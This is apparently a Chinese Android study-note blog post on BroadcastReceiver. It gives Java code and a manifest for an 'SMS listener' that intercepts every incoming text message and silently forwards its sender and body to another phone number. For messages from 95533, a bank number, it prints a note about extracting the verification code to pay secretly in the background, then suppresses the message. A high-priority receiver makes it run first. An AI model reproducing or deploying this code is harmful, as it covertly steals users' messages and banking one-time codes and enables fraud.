Android(java)学习笔记119:BroadcastReceiver之 短信发送的广播接收者

时间:2022-11-18 08:58:35

有时候,我们需要开发出来一个短信监听器,监听用户发送的短信记录,下面就是一个案例,这里同样需要使用广播机制

下面同样是代码示例,MainActivity.java 和  activity_main.xml这里不做什么编程操作

1.第一步,还是老样子,我们需要买一个收音机

package com.itheima.smslistener; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsManager; import android.telephony.SmsMessage; public class SmsListener extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { System.out.println("短信到来了。"); //objs里面存放的就是一组短信
        Object[] objs = (Object[]) intent.getExtras().get("pdus"); for(Object obj:objs){ //得到每一条短信数据
            SmsMessage  smsMessage = SmsMessage.createFromPdu((byte[]) obj); String body = smsMessage.getMessageBody(); String address = smsMessage.getOriginatingAddress(); System.out.println(body); System.out.println(address);
//将获取短信数据(address+"--"+body)发送到5556手机(这里是模拟器),sendTextMessage()方法最后两个参数为null,表示没有发送和接收短信通知 SmsManager smsManager
= SmsManager.getDefault(); smsManager.sendTextMessage("5556", null, address+"--"+body, null, null); if(address.equals("95533")){ System.out.println("提取验证码,偷偷的后台支付"); abortBroadcast(); } } } }

2.第二步和第三步是:装电池  调频道:

 

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.itheima.smslistener" android:versionCode="1" android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" />
    <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/> 
    <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" >
        <activity android:name="com.itheima.smslistener.MainActivity" android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <receiver android:name="com.itheima.smslistener.SmsListener" >
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>

</application> </manifest>